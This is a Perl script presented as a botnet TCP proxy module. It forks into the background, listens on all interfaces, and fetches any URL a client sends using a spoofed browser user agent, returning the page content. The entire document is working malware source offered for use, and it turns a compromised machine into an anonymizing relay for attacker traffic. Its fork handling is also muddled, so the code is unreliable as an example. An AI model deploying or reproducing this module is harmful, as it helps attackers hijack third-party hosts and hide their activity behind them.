#!/usr/bin/perl -U #Int-Sec http Proxy #c0d3r: ev1lut10n (A Chinese Man lives in Indonesia) #special thanks to : flyff666, gunslinger, peneter, superman, chaer newbie,wendy182,aurel #whitehat, wenkhairu, fadli,cybermutaqqin, blackn0te, ade yonatan,cakill # Danzel, x-hack,r0073r,Sid3^effects,r4dc0re,KedAns-Dz,indoushka,7, jackhaxor,root4o #zetra, exidous, snakedeyes and all d7 members eval "use IO::Socket::INET"; eval "use HTTP::Request;use LWP::UserAgent;use HTTP::Response"; if ($@) { print "\n[-] please install perl socket\n"; } sub banner() { if(!defined($port)) { print "\nInt-Sec Botnet TCP Proxy Module \n"; print "\nMade by: Ev1lut10n \n"; print "\n[-] Please supply port num!\n"; exit(); } } sub paksa_fork() { defined(my $pid = fork); if ($pid) { exit; } else { for($i=1;$i<15;$i++) { defined(my $pid = fork); if ($pid) { exit; last; } } } } sub handle() { while(1) { $client_socket = $server->accept(); $data = <$client_socket>; if (defined($data)) { $data=~ s/^\s+//; $data=~ s/\s+$//; print "Received from Client : |$data|\n"; defined(my $pidx = fork); if ($pidx) { @pecahan = split(" ", $data); our $url=$pecahan[1]; print "\n[+] requesting url:$url\n"; do_konek(); print $client_socket $isi_halaman."\n"; } close($client_socket); } } } sub do_konek() { eval { $useragen=LWP::UserAgent->new; $useragent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"; $useragen->agent($useragent); $useragen->timeout(7); our $response=$useragen->get($url); our $status=$response->status_line; our $isi_halaman=$response->content; } } sub bind_and_the_fooking_listen { $host="0.0.0.0"; our $server = IO::Socket::INET->new( LocalAddr => $host, LocalPort => $port, ReuseAddr => 1, Listen => 100 ) || die "\nUnable to listen on $host:$port: $!\n";; } sub str_replace { eval { my $replace_this = shift; my $with_this = shift; my $string = shift; my $length = length($string); my $target = length($replace_this); for(my $i=0; $i<$length - $target + 1; $i++) { if(substr($string,$i,$target) eq $replace_this) { $string = substr($string,0,$i) . $with_this . substr($string,$i+$target); return $string; #Comment this if you what a global replace } } return $string; } } our $port=$ARGV[0]; banner(); paksa_fork(); bind_and_the_fooking_listen(); handle();